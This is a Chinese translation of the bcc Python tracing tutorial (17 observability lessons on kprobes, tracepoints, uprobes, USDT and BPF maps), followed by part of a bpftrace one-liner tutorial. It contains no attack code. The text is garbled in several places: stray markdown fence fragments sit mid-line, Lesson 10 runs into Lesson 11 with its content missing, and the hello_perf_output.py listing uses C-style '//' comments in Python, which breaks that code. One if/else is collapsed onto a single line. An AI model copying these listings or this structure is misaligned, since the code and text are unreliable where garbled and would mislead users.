本教程介绍使用 Python 接口开发 bcc 工具和程序。分为两个部分:可观测性和网络。代码片段取自 bcc 的各个程序,请查阅其文件以了解许可证情况。
还请参阅 bcc 开发者的参考指南,以及针对工具的用户的教程:教程。还有适用于 bcc 的 lua 接口。
可观测性
这个可观测性教程包含17个课程和46个要学习的枚举事项。
第1课. 你好,世界
首先运行 examples/hello_world.py,同时在另一个会话中运行一些命令(例如,“ls”)。它应该会为新进程打印“Hello, World!”。如果没有打印,请先修复bcc:请参阅 INSTALL.md。
# ./examples/hello_world.py
bash-13364 [002] d... 24573433.052937: : Hello, World!
bash-13364 [003] d... 24573436.642808: : Hello, World!
[...]
以下是 hello_world.py 的代码示例:
from bcc import BPF
BPF(text='int kprobe__sys_clone(void *ctx) { bpf_trace_printk("Hello, World!\\n"); return 0; }').trace_print()
从中可以学到六件事情:
-
text='...':这定义了内联的 BPF 程序。该程序是用 C 编写的。 -
kprobe__sys_clone():这是通过 kprobes 动态跟踪内核的一种快捷方式。如果 C 函数以kprobe__开头,其余部分将被视为要定位的内核函数名称,本例中为sys_clone()。 -
void *ctx:ctx 是参数,但由于我们在此处未使用它们,所以我们将其转换为void*类型。 -
bpf_trace_printk(): 用于将 printf() 打印到通用 trace_pipe (/sys/kernel/debug/tracing/trace_pipe) 的简单内核工具。 这对于一些快速示例是可以的,但有一些限制:最多只有 3 个参数,只能有一个 %s,并且 trace_pipe 是全局共享的,所以并发程序会有冲突的输出。更好的接口是通过 BPF_PERF_OUTPUT() 实现的,稍后会介绍。 -
return 0;: 必要的规范性代码(如果想知道原因,请参见 #139)。 -
.trace_print(): 一个读取 trace_pipe 并打印输出的 bcc 程序。
第二课 sys_sync()
编写一个跟踪 sys_sync() 内核函数的程序。运行时打印 "sys_sync() called"。在跟踪时,在另一个会话中运行 sync 进行测试。hello_world.py 程序中包含了这一切所需的内容。
通过在程序刚启动时打印 "Tracing sys_sync()... Ctrl-C to end." 来改进它。提示:它只是 Python 代码。
第三课 hello_fields.py
该程序位于 examples/tracing/hello_fields.py。样本输出(在另一个会话中运行命令):
# examples/tracing/hello_fields.py
时间(s) 进程名 进程 ID 消息
24585001.174885999 sshd 1432 你好,世界!
24585001.195710000 sshd 15780 你好,世界!
24585001.991976000 systemd-udevd 484 你好,世界!
24585002.276147000 bash 15787 你好,世界!
代码:
from bcc import BPF
# 定义 BPF 程序
prog = """
int hello(void *ctx) {
bpf_trace_printk("你好,世界!\\n");
return 0;
}
"""
# 加载 BPF 程序
b = BPF(text=prog)
b.attach_kprobe(event=b.get_syscall_fnname("clone"), fn_name="hello")
# 头部
print("%-18s %-16s %-6s %s" % ("时间(s)", "进程名", "进程 ID", "消息"))
# 格式化输出
while 1:
try:
(task, pid, cpu, flags, ts, msg) = b.trace_fields()
except ValueError:
continue
print("%-18.9f %-16s %-6d %s" % (ts, task, pid, msg))
这与hello_world.py类似,并通过sys_clone()再次跟踪新进程,但是还有一些要学习的内容:
-
prog =:这次我们将C程序声明为变量,然后引用它。如果您想根据命令行参数添加一些字符串替换,这将非常有用。 -
hello():现在我们只是声明了一个C函数,而不是使用kprobe__的快捷方式。我们稍后会引用它。在BPF程序中声明的所有C函数都希望在探测器上执行,因此它们都需要以pt_reg* ctx作为第一个参数。如果您需要定义一些不会在探测器上执行的辅助函数,则需要将其定义为static inline,以便由编译器内联。有时您还需要为其添加_always_inline函数属性。 -
b.attach_kprobe(event=b.get_syscall_fnname("clone"), fn_name="hello"):为内核clone系统调用函数创建一个kprobe,该函数将执行我们定义的hello()函数。您可以多次调用attach_kprobe(),并将您的C函数附加到多个内核函数上。 -
b.trace_fields():从trace_pipe中返回一组固定的字段。与trace_print()类似,它对于编写脚本很方便,但是对于实际的工具化需求,我们应该切换到BPF_PERF_OUTPUT()。
Lesson 4. sync_timing.py
还记得以前系统管理员在缓慢的控制台上输入sync三次然后才重启吗?后来有人认为sync;sync;sync很聪明,将它们都写在一行上运行,尽管这违背了最初的目的!然后,sync变成了同步操作,所以更加愚蠢。无论如何。
以下示例计算了do_sync函数被调用的速度,并且如果它在一秒钟之内被调用,则输出信息。sync;sync;sync将为第2个和第3个sync打印输出:
# examples/tracing/sync_timing.py
追踪快速sync... 按Ctrl-C结束"。
在时间0.00秒时:检测到多个同步,上次发生在95毫秒前 在时间0.10秒时:检测到多个同步,上次发生在96毫秒前
此程序是examples/tracing/sync_timing.py:
from __future__ import print_function
from bcc import BPF
# 加载BPF程序
b = BPF(text="""
#include <uapi/linux/ptrace.h>
BPF_HASH(last);
int do_trace(struct pt_regs *ctx) {
u64 ts, *tsp, delta, key = 0;
// 尝试读取存储的时间戳
tsp = last.lookup(&key);
if (tsp != NULL) {
delta = bpf_ktime_get_ns() - *tsp;
if (delta < 1000000000) {
// 时间小于1秒则输出
bpf_trace_printk("%d\\n", delta / 1000000);
}
last.delete(&key);
}
// 更新存储的时间戳
ts = bpf_ktime_get_ns();
last.update(&key, &ts);
return 0;
}
""")
b.attach_kprobe(event=b.get_syscall_fnname("sync"), fn_name="do_trace")
print("跟踪快速同步... 按Ctrl-C结束")
# 格式化输出
start = 0
while 1:
(task, pid, cpu, flags, ts, ms) = b.trace_fields()
if start == 0:
start = ts
ts = ts - start
print("在时间%.2f秒处:检测到多个同步,上次发生在%s毫秒前" % (ts, ms))
学习内容:
bpf_ktime_get_ns(): 返回时间,单位为纳秒。BPF_HASH(last): 创建一个BPF映射对象,类型为哈希(关联数组),名为"last"。我们没有指定其他参数,因此默认的键和值类型为u64。key = 0: 我们只会在哈希中存储一个键值对,其中键被硬编码为零。last.lookup(&key): 在哈希中查找键,并如果存在则返回其值的指针,否则返回NULL。我们将键作为指针的地址传递给该函数。if (tsp != NULL) {: 验证器要求在将从映射查找得到的指针值解引用使用之前,必须先检查其是否为null。1.last.delete(&key): 从哈希表中删除key。目前需要这样做是因为.update()中存在一个内核错误(在4.8.10中已经修复)。last.update(&key, &ts): 将第二个参数的值与key关联起来,覆盖之前的任何值。这会记录时间戳。
第5课. sync_count.py
修改sync_timing.py程序(前一课)以存储所有内核同步系统调用(包括快速和慢速)的计数,并将其与输出一起打印出来。可以通过向现有哈希表添加一个新的键索引来在BPF程序中记录此计数。
第6课. disksnoop.py
浏览examples/tracing/disksnoop.py程序以了解新内容。以下是一些示例输出:
# disksnoop.py
时间(s) T 字节 延迟(ms)
16458043.436012 W 4096 3.13
16458043.437326 W 4096 4.44
16458044.126545 R 4096 42.82
16458044.129872 R 4096 3.24
[...]
以及代码片段:
[...]
REQ_WRITE = 1 # 来自include/linux/blk_types.h
# 加载BPF程序
b = BPF(text="""
#include <uapi/linux/ptrace.h>
#include <linux/blk-mq.h>
BPF_HASH(start, struct request *);
void trace_start(struct pt_regs *ctx, struct request *req) {
// 使用请求指针存储开始时间戳
u64 ts = bpf_ktime_get_ns();
start.update(&req, &ts);
}
void trace_completion(struct pt_regs *ctx, struct request *req) {
u64 *tsp, delta;
tsp = start.lookup(&req);
if (tsp != 0) {
delta = bpf_ktime_get_ns() - *tsp;
bpf_trace_printk("%d %x %d\\n", req->__data_len,
req->cmd_flags, delta / 1000);
start.delete(&req);
}
}
""")
if BPF.get_kprobe_functions(b'blk_start_request'):
b.attach_kprobe(event="blk_start_request", fn_name="trace_start")
b.attach_kprobe(event="blk_mq_start_request", fn_name="trace_start")
if BPF.get_kprobe_functions(b'__blk_account_io_done'):
b.attach_kprobe(event="__blk_account_io_done", fn_name="trace_completion") else: b.attach_kprobe(event="blk_account_io_done", fn_name="trace_completion")
[...]
学习内容:
REQ_WRITE: 我们在Python程序中定义了一个内核常量,因为我们后面会在Python程序中使用它。如果我们在BPF程序中使用REQ_WRITE,它应该可以正常工作(无需定义),只需使用适当的#includes。trace_start(struct pt_regs *ctx, struct request*req): 这个函数将在后面附加到kprobe上。kprobe函数的参数是struct pt_regs *ctx,用于寄存器和BPF上下文,然后是函数的实际参数。我们将把它附加到blk_start_request()上,其中第一个参数是struct request*。start.update(&req, &ts): 我们使用请求结构的指针作为哈希中的键。这在跟踪中很常见。结构体指针是非常好的键,因为它们是唯一的:两个结构体不能具有相同的指针地址。(只需小心何时释放和重用指针。)所以我们实际上是给描述磁盘I/O的请求结构体打上我们自己的时间戳,以便我们可以计时。存储时间戳常用的两个键是结构体指针和线程ID(用于记录函数入口到返回的时间)。req->__data_len: 我们在解引用struct request的成员。请参阅内核源代码中对其定义的部分以获得有关哪些成员可用的信息。bcc实际上会将这些表达式重写为一系列bpf_probe_read_kernel()调用。有时bcc无法处理复杂的解引用,此时您需要直接调用bpf_probe_read_kernel()。
这是一个非常有趣的程序,如果您能理解所有的代码,您就会理解很多重要的基础知识。我们仍然在使用bpf_trace_printk()的技巧,我们下一步要解决这个问题。
Lesson 7. hello_perf_output.py
让我们最终停止使用bpf_trace_printk(),并使用适当的BPF_PERF_OUTPUT()接口。这也意味着我们将停止获取免费的trace_field()成员,如PID和时间戳,并且需要直接获取它们。在另一个会话中运行命令时的示例输出
# hello_perf_output.py
TIME(s) COMM PID MESSAGE
0.000000000 bash 22986 你好,perf_output!
0.021080275 systemd-udevd 484 你好,perf_output!
0.021359520 systemd-udevd 484 你好,perf_output!
0.021590610 systemd-udevd 484 你好,perf_output!
[...]
代码位于examples/tracing/hello_perf_output.py:
from bcc import BPF
// 定义BPF程序
prog = """
#include <linux/sched.h>
// 在C中定义输出数据结构
struct data_t {
u32 pid;
u64 ts;
char comm[TASK_COMM_LEN];
};
BPF_PERF_OUTPUT(events);
int hello(struct pt_regs *ctx) {
struct data_t data = {};
data.pid = bpf_get_current_pid_tgid();
data.ts = bpf_ktime_get_ns();
bpf_get_current_comm(&data.comm, sizeof(data.comm));
events.perf_submit(ctx, &data, sizeof(data));
return 0;
}
"""
// 加载BPF程序
b = BPF(text=prog)
b.attach_kprobe(event=b.get_syscall_fnname("clone"), fn_name="hello")
//标题
print("%-18s %-16s %-6s %s" % ("TIME(s)", "COMM", "PID", "MESSAGE"))
//处理事件
start = 0
def print_event(cpu, data, size):
global start
event = b["events"].event(data)
if start == 0:
start = event.ts
time_s = (float(event.ts - start)) / 1000000000
print("%-18.9f %-16s %-6d %s" % (time_s, event.comm, event.pid, "你好,perf_output!"))
//循环并回调print_event
b["events"].open_perf_buffer(print_event)
while 1:
b.perf_buffer_poll()
学习的内容:
struct data_t: 这定义了一个C结构体,我们将用它来从内核传递数据到用户空间。1.BPF_PERF_OUTPUT(events): 这里给我们的输出通道命名为"events"。struct data_t data = {};: 创建一个空的data_t结构体,我们将在之后填充它。bpf_get_current_pid_tgid(): 返回低32位的进程ID(内核视图中的PID,用户空间中通常被表示为线程ID),以及高32位的线程组ID(用户空间通常认为是PID)。通过直接将其设置为u32,我们丢弃了高32位。应该显示PID还是TGID?对于多线程应用程序,TGID将是相同的,所以如果你想要区分它们,你需要PID。这也是对最终用户期望的一个问题。bpf_get_current_comm(): 将当前进程的名称填充到第一个参数的地址中。events.perf_submit(): 通过perf环形缓冲区将事件提交给用户空间以供读取。def print_event(): 定义一个Python函数来处理从events流中读取的事件。b["events"].event(data): 现在将事件作为一个Python对象获取,该对象是根据C声明自动生成的。b["events"].open_perf_buffer(print_event): 将Python的print_event函数与events流关联起来。while 1: b.perf_buffer_poll(): 阻塞等待事件。
第八课。 sync_perf_output.py
重写之前的课程中的sync_timing.py,使用BPF_PERF_OUTPUT。
第九课。 bitehist.py
以下工具记录了磁盘I/O大小的直方图。样本输出:
# bitehist.py
跟踪中... 按Ctrl-C结束。
^C
kbytes : count distribution
0 -> 1 : 3 | |
2 -> 3 : 0 | |
4 -> 7 : 211 |********** |
8 -> 15 : 0 | |
16 -> 31 : 0 | |".32 -> 63 : 0 | |
64 -> 127 : 1 | |
128 -> 255 : 800 |**************************************|
代码在examples/tracing/bitehist.py:
from __future__ import print_function
from bcc import BPF
from time import sleep
# 加载BPF程序
b = BPF(text="""
#include <uapi/linux/ptrace.h>
#include <linux/blkdev.h>
BPF_HISTOGRAM(dist);
int kprobe__blk_account_io_done(struct pt_regs *ctx, struct request *req)
{
dist.increment(bpf_log2l(req->__data_len / 1024));
return 0;
}
""")
# 头部
print("跟踪中... 按Ctrl-C结束.")
# 跟踪直到按下Ctrl-C
try:
sleep(99999999)
except KeyboardInterrupt:
print()
# 输出
b["dist"].print_log2_hist("kbytes")
之前课程的总结:
kprobe__: 这个前缀意味着其余部分将被视为一个将使用kprobe进行插桩的内核函数名。struct pt_regs *ctx, struct request*req: kprobe的参数。ctx是寄存器和BPF上下文,req是被插桩函数blk_account_io_done()的第一个参数。req->__data_len: 解引用该成员。
新知识:
BPF_HISTOGRAM(dist): 定义了一个名为 "dist" 的BPF映射对象,它是一个直方图。dist.increment(): 默认情况下,将第一个参数提供的直方图桶索引加1。也可以作为第二个参数传递自定义的增量。bpf_log2l(): 返回所提供值的对数值。这将成为我们直方图的索引,这样我们构建了一个以2为底的幂直方图。b["dist"].print_log2_hist("kbytes"): 以2为底的幂形式打印 "dist" 直方图,列标题为 "kbytes"。这样只有桶计数从内核传输到用户空间,因此效率高。
Lesson 10. disklatency.py”。#### Lesson 11. vfsreadlat.py
这个例子分为独立的Python和C文件。示例输出:
# vfsreadlat.py 1
跟踪中... 按Ctrl-C停止。
微秒 : 数量 分布
0 -> 1 : 0 | |
2 -> 3 : 2 |*********** |
4 -> 7 : 7 |****************************************|
8 -> 15 : 4 |********************** |
微秒 : 数量 分布
0 -> 1 : 29 |****************************************|
2 -> 3 : 28 |************************************** |
4 -> 7 : 4 |***** |
8 -> 15 : 8 |*********** |
16 -> 31 : 0 | |
32 -> 63 : 0 | |
64 -> 127 : 0 | |
128 -> 255 : 0 | |
256 -> 511 : 2 |** |
512 -> 1023 : 0 | |
1024 -> 2047 : 0 | |
2048 -> 4095 : 0 | |
4096 -> 8191 : 4 |***** |
8192 -> 16383 : 6 |******** |
16384 -> 32767 : 9 |************ |```.32768 -> 65535 : 6 |******** |
65536 -> 131071 : 2 |** |
usecs : count distribution
0 -> 1 : 11 |****************************************|
2 -> 3 : 2 |******* |
4 -> 7 : 10 |************************************ |
8 -> 15 : 8 |***************************** |
16 -> 31 : 1 |*** |
32 -> 63 : 2 |******* |
[...]
浏览 examples/tracing/vfsreadlat.py 和 examples/tracing/vfsreadlat.c 中的代码。
学习的内容:
b = BPF(src_file = "vfsreadlat.c"): 从单独的源代码文件中读取 BPF C 程序。b.attach_kretprobe(event="vfs_read", fn_name="do_return"): 将 BPF C 函数do_return()链接到内核函数vfs_read()的返回值上。这是一个 kretprobe:用于检测函数返回值,而不是函数的入口。b["dist"].clear(): 清除直方图。
Lesson 12. urandomread.py
当运行 dd if=/dev/urandom of=/dev/null bs=8k count=5 时进行跟踪:
# urandomread.py
TIME(s) COMM PID GOTBITS
24652832.956994001 smtp 24690 384
24652837.726500999 dd 24692 65536
24652837.727111001 dd 24692 65536
24652837.727703001 dd 24692 65536
24652837.728294998 dd 24692 65536
24652837.728888001 dd 24692 65536
哈!我意外地捕捉到了 smtp。代码在 examples/tracing/urandomread.py 中:
from __future__ import print_function".```python
from bcc import BPF
# 加载BPF程序
b = BPF(text="""
TRACEPOINT_PROBE(random, urandom_read) {
// args is from /sys/kernel/debug/tracing/events/random/urandom_read/format
bpf_trace_printk("%d\\n", args->got_bits);
return 0;
}
""")
# header
print("%-18s %-16s %-6s %s" % ("TIME(s)", "COMM", "PID", "GOTBITS"))
# format output
while 1:
try:
(task, pid, cpu, flags, ts, msg) = b.trace_fields()
except ValueError:
continue
print("%-18.9f %-16s %-6d %s" % (ts, task, pid, msg))
要学到的东西:
TRACEPOINT_PROBE(random, urandom_read): 对内核跟踪点random:urandom_read进行注入。这些具有稳定的API,因此在可能的情况下建议使用它们来代替kprobe。您可以运行perf list来获取跟踪点列表。至少需要 Linux 版本 4.7 来将 BPF 程序附加到跟踪点上。args->got_bits:args是自动填充的跟踪点参数结构。上面的注释指出了可以查看这个结构的位置。例如:
# cat /sys/kernel/debug/tracing/events/random/urandom_read/format
name: urandom_read
ID: 972
format:
field:unsigned short common_type; offset:0; size:2; signed:0;
field:unsigned char common_flags; offset:2; size:1; signed:0;
field:unsigned char common_preempt_count; offset:3; size:1; signed:0;
field:int common_pid; offset:4; size:4; signed:1;
field:int got_bits; offset:8; size:4; signed:1;
field:int pool_left; offset:12; size:4; signed:1;
field:int input_left; offset:16; size:4; signed:1;
print fmt: "got_bits %d nonblocking_pool_entropy_left %d input_entropy_left %d", REC->got_bits, REC->pool_left, REC->input_left
在这种情况下,我们正在打印 got_bits 成员。
第13课. disksnoop.py已修复
将上一课的 disksnoop.py 修改为使用 block:block_rq_issue 和 block:block_rq_complete 跟踪点。
第14课. strlen_count.py.
这个程序对用户级函数进行插桩,其中包括 strlen() 库函数,并对其字符串参数进行频率统计。例如输出
# strlen_count.py
跟踪 strlen()... 按 Ctrl-C 结束。
^C 数量 字符串
1 " "
1 "/bin/ls"
1 "."
1 "cpudist.py.1"
1 ".bashrc"
1 "ls --color=auto"
1 "key_t"
[...]
10 "a7:~# "
10 "/root"
12 "LC_ALL"
12 "en_US.UTF-8"
13 "en_US.UTF-8"
20 "~"
70 "#%^,~:-=?+/}"
340 "\x01\x1b]0;root@bgregg-test: ~\x07\x02root@bgregg-test:~# "
这些是在跟踪时由此库函数处理的各种字符串以及它们的频率计数。例如,"LC_ALL" 被调用了12次。
代码在 examples/tracing/strlen_count.py 中:
from __future__ import print_function
from bcc import BPF
from time import sleep
# 载入 BPF 程序
b = BPF(text="""
#include <uapi/linux/ptrace.h>
struct key_t {
char c[80];
};
BPF_HASH(counts, struct key_t);
int count(struct pt_regs *ctx) {
if (!PT_REGS_PARM1(ctx))
return 0;
struct key_t key = {};
u64 zero = 0, *val;
bpf_probe_read_user(&key.c, sizeof(key.c), (void *)PT_REGS_PARM1(ctx));
// 也可以使用 `counts.increment(key)`
val = counts.lookup_or_try_init(&key, &zero);
if (val) {
(*val)++;
}
return 0;
};
""")
b.attach_uprobe(name="c", sym="strlen", fn_name="count")
# 头部
print("跟踪 strlen()... 按 Ctrl-C 结束。")
# 睡眠直到按下 Ctrl-C
try:
sleep(99999999)
except KeyboardInterrupt:
pass
# 打印输出
print("%10s %s" % ("数量", "字符串"))
counts = b.get_table("counts")
for k, v in sorted(counts.items(), key=lambda counts: counts[1].value):
print("%10d \"%s\"" % (v.value, k.c.encode('string-escape')))
要学习的内容:1. PT_REGS_PARM1(ctx): 这个参数会获取传递给 strlen() 的第一个参数,也就是字符串。
b.attach_uprobe(name="c", sym="strlen", fn_name="count"): 附加到库 "c"(如果这是主程序,则使用其路径名),对用户级函数strlen()进行插装,并在执行时调用我们的 C 函数count()。
第15课。nodejs_http_server.py
本程序会对用户静态定义的跟踪 (USDT) 探测点进行插装,这是内核跟踪点的用户级版本。示例输出:
# nodejs_http_server.py 24728
TIME(s) COMM PID ARGS
24653324.561322998 node 24728 path:/index.html
24653335.343401998 node 24728 path:/images/welcome.png
24653340.510164998 node 24728 path:/images/favicon.png
来自 examples/tracing/nodejs_http_server.py 的相关代码:
from __future__ import print_function
from bcc import BPF, USDT
import sys
if len(sys.argv) < 2:
print("USAGE: nodejs_http_server PID")
exit()
pid = sys.argv[1]
debug = 0
# load BPF program
bpf_text = """
#include <uapi/linux/ptrace.h>
int do_trace(struct pt_regs *ctx) {
uint64_t addr;
char path[128]={0};
bpf_usdt_readarg(6, ctx, &addr);
bpf_probe_read_user(&path, sizeof(path), (void *)addr);
bpf_trace_printk("path:%s\\n", path);
return 0;
};
"""
# enable USDT probe from given PID
u = USDT(pid=int(pid))
u.enable_probe(probe="http__server__request", fn_name="do_trace")
if debug:
print(u.get_text())
print(bpf_text)
# initialize BPF
b = BPF(text=bpf_text, usdt_contexts=[u])
学习内容:
bpf_usdt_readarg(6, ctx, &addr): 从 USDT 探测点中读取参数 6 的地址到addr。bpf_probe_read_user(&path, sizeof(path), (void *)addr): 现在字符串addr指向我们的path变量。u = USDT(pid=int(pid)): 为给定的 PID 初始化 USDT 跟踪。1.u.enable_probe(probe="http__server__request", fn_name="do_trace"): 将我们的do_trace()BPF C 函数附加到 Node.js 的http__server__requestUSDT 探针。b = BPF(text=bpf_text, usdt_contexts=[u]): 需要将我们的 USDT 对象u传递给 BPF 对象的创建。
第16课. task_switch.c
这是一个早期的教程,作为额外的课程包含其中。用它来复习和加深你已经学到的内容。
这是一个比 Hello World 更复杂的示例程序。该程序将在内核中每次任务切换时被调用,并在一个 BPF 映射中记录新旧进程的 pid。
下面的 C 程序引入了一个新的概念:prev 参数。BCC 前端会特殊处理这个参数,从而使得对这个变量的访问从由 kprobe 基础设施传递的保存上下文中进行读取。从位置1开始的参数的原型应该与被 kprobed 的内核函数的原型匹配。如果这样做,程序就可以无缝访问函数参数。
#include <uapi/linux/ptrace.h>
#include <linux/sched.h>
struct key_t {
u32 prev_pid;
u32 curr_pid;
};
BPF_HASH(stats, struct key_t, u64, 1024);
int count_sched(struct pt_regs *ctx, struct task_struct *prev) {
struct key_t key = {};
u64 zero = 0, *val;
key.curr_pid = bpf_get_current_pid_tgid();
key.prev_pid = prev->pid;
// could also use `stats.increment(key);`
val = stats.lookup_or_try_init(&key, &zero);
if (val) {
(*val)++;
}
return 0;
}
用户空间组件加载上面显示的文件,并将其附加到 finish_task_switch 内核函数上。
BPF 对象的 [] 运算符允许访问程序中的每个 BPF_HASH,允许对内核中的值进行通行访问。可以像使用任何其他 python dict 对象一样使用该对象:读取、更新和删除操作都是允许的。
from bcc import BPF
from time import sleep
b = BPF(src_file="task_switch.c")".```markdown
```Chinese
b.attach_kprobe(event="finish_task_switch", fn_name="count_sched")
# 生成多个调度事件
for i in range(0, 100): sleep(0.01)
for k, v in b["stats"].items():
print("task_switch[%5d->%5d]=%u" % (k.prev_pid, k.curr_pid, v.value))
这些程序可以在文件 examples/tracing/task_switch.c 和 examples/tracing/task_switch.py 中找到。
第17课. 进一步研究
要进行进一步研究,请参阅 Sasha Goldshtein 的 linux-tracing-workshop,其中包含了额外的实验。bcc/tools 中还有许多工具可供研究。
如果您希望为 bcc 贡献工具,请阅读 CONTRIBUTING-SCRIPTS.md。在主要的 README.md 的底部,您还会找到与我们联系的方法。祝您好运,祝您成功追踪!
网络
TODO
bpftrace一行教程
该教程通过12个简单小节帮助你了解bpftrace的使用。每一小节都是一行的命令,你可以尝试运行并立刻看到运行效果。该教程系列用来介绍bpftrace的概念。关于bpftrace的完整参考,见bpftrace手册。
该教程贡献者是Brendan Gregg, Netflix (2018), 基于他的FreeBSD DTrace教程系列DTrace Tutorial。
1. 列出所有探针
bpftrace -l 'tracepoint:syscalls:sys_enter_*'
"bpftrace -l" 列出所有探针,并且可以添加搜索项。
- 探针是用于捕获事件数据的检测点。
- 搜索词支持通配符,如
*和?。 - "bpftrace -l" 也可以通过管道传递给grep,进行完整的正则表达式搜索。
2. Hello World
# bpftrace -e 'BEGIN { printf("hello world\n"); }'
Attaching 1 probe...
hello world
^C
打印欢迎消息。运行后, 按Ctrl-C结束。
BEGIN是一个特殊的探针,在程序开始时触发探针执行(类似awk的BEGIN)。你可以使用它设置变量和打印消息头。- 探针可以关联动作,把动作放到{}中。这个例子中,探针被触发时会调用printf()。
3. 文件打开
# bpftrace -e 'tracepoint:syscalls:sys_enter_openat { printf("%s %s\n", comm, str(args.filename)); }'
Attaching 1 probe...
snmp-pass /proc/cpuinfo
snmp-pass /proc/stat
snmpd /proc/net/dev
snmpd /proc/net/if_inet6
^C
这里我们在文件打开的时候打印进程名和文件名。
- 该命令以
tracepoint:syscalls:sys_enter_openat开始: 这是tracepoint探针类型(内核静态跟踪),当进入openat()系统调用时执行该探针。相比kprobes探针(内核动态跟踪,在第6节介绍),我们更加喜欢用tracepoints探针,因为tracepoints有稳定的应用程序编程接口。注意:现代linux系统(glibc >= 2.26),open总是调用openat系统调用。 comm是内建变量,代表当前进程的名字。其它类似的变量还有pid和tid,分别表示进程标识和线程标识。args是一个包含所有tracepoint参数的结构。这个结构是由bpftrace根据tracepoint信息自动生成的。这个结构的成员可以通过命令bpftrace -vl tracepoint:syscalls:sys_enter_openat找到。args.filename用来获取args的成员变量filename的值。str()用来把字符串指针转换成字符串。
4. 进程级系统调用计数
bpftrace -e 'tracepoint:raw_syscalls:sys_enter { @[comm] = count(); }'
Attaching 1 probe...
^C
@[bpftrace]: 6
@[systemd]: 24
@[snmp-pass]: 96
@[sshd]: 125
按Ctrl-C后打印进程的系统调用计数。
- @: 表示一种特殊的变量类型,称为map,可以以不同的方式来存储和描述数据。你可以在@后添加可选的变量名(如@num),用来增加可读性或者区分不同的map。
- []: 可选的中括号允许设置map的关键字,比较像关联数组。
- count(): 这是一个map函数 - 记录被调用次数。因为调用次数根据comm保存在map里,输出结果是进程执行系统调用的次数统计。
Maps会在bpftrace结束(如按Ctrl-C)时自动打印出来。
5. read()返回值分布统计
# bpftrace -e 'tracepoint:syscalls:sys_exit_read /pid == 18644/ { @bytes = hist(args.ret); }'
Attaching 1 probe...
^C
@bytes:
[0, 1] 12 |@@@@@@@@@@@@@@@@@@@@ |
[2, 4) 18 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ |
[4, 8) 0 | |
[8, 16) 0 | |
[16, 32) 0 | |
[32, 64) 30 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@|
[64, 128) 19 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ |
[128, 256) 1 |@
这里统计进程号为18644的进程执行内核函数sys_read()的返回值,并打印出直方图。
- /.../: 这里设置一个过滤条件(条件判断),满足该过滤条件时才执行{}里面的动作。在这个例子中意思是只追踪进程号为18644的进程。过滤条件表达式也支持布尔运算,如("&&", "||")。
- ret: 表示函数的返回值。对于sys_read(),它可能是-1(错误)或者成功读取的字节数。
- @: 类似于上节的map,但是这里没有key,即[]。该map的名称"bytes"会出现在输出中。
- hist(): 一个map函数,用来描述直方图的参数。输出行以2次方的间隔开始,如
[128, 256)表示值大于等于128且小于256。后面跟着位于该区间的参数个数统计,最后是ascii码表示的直方图。该图可以用来研究它的模式分布。 - 其它的map函数还有lhist(线性直方图),count(),sum(),avg(),min()和max()。
6. 内核动态跟踪read()返回的字节数
# bpftrace -e 'kretprobe:vfs_read { @bytes = lhist(retval, 0, 2000, 200); }'
Attaching 1 probe...
^C
@bytes:
(...,0] 0 | |
[0, 200) 66 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@|
[200, 400) 2 |@ |
[400, 600) 3 |@@ |
[600, 800) 0 | |
[800, 1000) 5 |@@@ |
[1000, 1200) 0 | |
[1200, 1400) 0 | |
[1400, 1600) 0 | |
[1600, 1800) 0 | |
[1800, 2000) 0 | |
[2000,...) 39 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ |
使用内核动态跟踪技术显示read()返回字节数的直方图。
kretprobe:vfs_read: 这是kretprobe类型(动态跟踪内核函数返回值)的探针,跟踪vfs_read内核函数。此外还有kprobe类型的探针(在下一节介绍)用于跟踪内核函数的调用。它们是功能强大的探针类型,让我们可以跟踪成千上万的内核函数。然而它们是"不稳定"的探针类型:由于它们可以跟踪任意内核函数,对于不同的内核版本,kprobe和kretprobe不一定能够正常工作。因为内核函数名,参数,返回值和作用等可能会变化。此外,由于它们用来跟踪底层内核的,你需要浏览内核源代码,理解这些探针的参数和返回值的意义。- lhist(): 线性直方图函数:参数分别是value,最小值,最大值,步进值。第一个参数(
retval)表示系统调用sys_read()返回值:即成功读取的字节数。
7. read()调用的时间
# bpftrace -e 'kprobe:vfs_read { @start[tid] = nsecs; } kretprobe:vfs_read /@start[tid]/ { @ns[comm] = hist(nsecs - @start[tid]); delete(@start[tid]); }'
Attaching 2 probes...
[...]
@ns[snmp-pass]:
[0, 1] 0 | |
[2, 4) 0 | |
[4, 8) 0 | |
[8, 16) 0 | |
[16, 32) 0 | |
[32, 64) 0 | |
[64, 128) 0 | |
[128, 256) 0 | |
[256, 512) 27 |@@@@@@@@@ |
[512, 1k) 125 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ |
[1k, 2k) 22 |@@@@@@@ |
[2k, 4k) 1 | |
[4k, 8k) 10 |@@@ |
[8k, 16k) 1 | |
[16k, 32k) 3 |@ |
[32k, 64k) 144 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@|
[64k, 128k) 7 |@@ |
[128k, 256k) 28 |@@@@@@@@@@ |
[256k, 512k) 2 | |
[512k, 1M) 3 |@ |
[1M, 2M) 1 | |
根据进程名,以直方图的形式显示read()调用花费的时间,时间单位为纳秒。
- @start[tid]: 使用线程ID作为key。某一时刻,可能有许许多多的read调用正在进行,我们希望为每个调用记录一个起始时间戳。这要如何做到呢?我们可以为每个read调用建立一个唯一的标识符,并用它作为key进行统计。由于内核线程一次只能执行一个系统调用,我们可以使用线程ID作为上述标识符。
- nsecs: 自系统启动到现在的纳秒数。这是一个高精度时间戳,可以用来对事件计时。
- /@start[tid]/: 该过滤条件检查起始时间戳是否被记录。程序可能在某次read调用中途被启动,如果没有这个过滤条件,这个调用的时间会被统计为now-zero,而不是now-start。
- delete(@start[tid]): 释放变量。
8. 统计进程级别的事件
# bpftrace -e 'tracepoint:sched:sched* { @[probe] = count(); } interval:s:5 { exit(); }'
Attaching 25 probes...
@[tracepoint:sched:sched_wakeup_new]: 1
@[tracepoint:sched:sched_process_fork]: 1
@[tracepoint:sched:sched_process_exec]: 1
@[tracepoint:sched:sched_process_exit]: 1
@[tracepoint:sched:sched_process_free]: 2
@[tracepoint:sched:sched_process_wait]: 7
@[tracepoint:sched:sched_wake_idle_without_ipi]: 53
